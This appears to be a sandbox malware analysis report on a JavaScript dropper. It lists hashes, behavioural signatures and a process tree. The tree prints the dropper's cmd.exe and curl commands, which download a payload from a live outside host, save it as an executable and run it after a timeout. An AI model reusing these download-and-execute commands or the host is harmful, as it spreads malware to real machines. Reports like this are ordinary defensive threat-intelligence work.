Analysis

  • max time kernel
    88s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-02-2024 04:26

General

  • Target

    a5158b335fc845c92e42d537659efff4f389c5c8b3a2e097be6d4c1cbe11a618.js

  • Size

    35KB

  • MD5

    57c52192e249900933c5b3823ccc972e

  • SHA1

    59bec1ddbc0a2d5a91b1e7450dd9038a7c078d90

  • SHA256

    a5158b335fc845c92e42d537659efff4f389c5c8b3a2e097be6d4c1cbe11a618

  • SHA512

    24c03df5026ac5e8198338f14184c086e367323b8c7bcb736539e17cabac03902daffcad267d28e13145a22de08aafc28206ec4108914157d7620d4bb2dfcbeb

  • SSDEEP

    768:laFe0gTvnBzAs3Sqqk0T6BAmmbR7zcARq7v/JfGMHDLkfI3Y7aMl3vBFetH6RBe/:Y81KFTVkunC

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\a5158b335fc845c92e42d537659efff4f389c5c8b3a2e097be6d4c1cbe11a618.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:4804
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c mkdir C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf & curl 0.46651893192592997.dat --output C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf\Yfhgfjkyfkykg.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2288
      • C:\Windows\system32\curl.exe
        curl 0.46651893192592997.dat --output C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf\Yfhgfjkyfkykg.exe
        3⤵
          PID:3876
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c timeout 10 & C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf\Yfhgfjkyfkykg.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1408
        • C:\Windows\system32\timeout.exe
          timeout 10
          3⤵
          • Delays execution with timeout.exe
          PID:1112
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c mkdir C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf & curl 0.10765119085611674.dat --output C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf\Yfhgfjkyfkykg.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1692
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c mkdir C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf & curl 0.8680621835352014.dat --output C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf\Yfhgfjkyfkykg.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2760
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c mkdir C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf & curl 0.8422250171804282.dat --output C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf\Yfhgfjkyfkykg.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4888
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c mkdir C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf & curl 0.40538293357922733.dat --output C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf\Yfhgfjkyfkykg.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1652
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c mkdir C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf & curl https://musicclubcompany.com/zmd/0.9728808480382515.dat --output C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf\Yfhgfjkyfkykg.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3840
    • C:\Windows\system32\curl.exe
      curl https://musicclubcompany.com/zmd/0.9728808480382515.dat --output C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf\Yfhgfjkyfkykg.exe
      1⤵
        PID:4960
      • C:\Windows\system32\curl.exe
        curl 0.8422250171804282.dat --output C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf\Yfhgfjkyfkykg.exe
        1⤵
          PID:1416
        • C:\Windows\system32\curl.exe
          curl 0.40538293357922733.dat --output C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf\Yfhgfjkyfkykg.exe
          1⤵
            PID:2540
          • C:\Windows\system32\curl.exe
            curl 0.8680621835352014.dat --output C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf\Yfhgfjkyfkykg.exe
            1⤵
              PID:1888
            • C:\Windows\system32\curl.exe
              curl 0.10765119085611674.dat --output C:\Qetdtfjhfffkf\Lryhjfjddhh\Nryjhkgkdhdfhf\Yfhgfjkyfkykg.exe
              1⤵
                PID:752

              Network

              MITRE ATT&CK Enterprise v15

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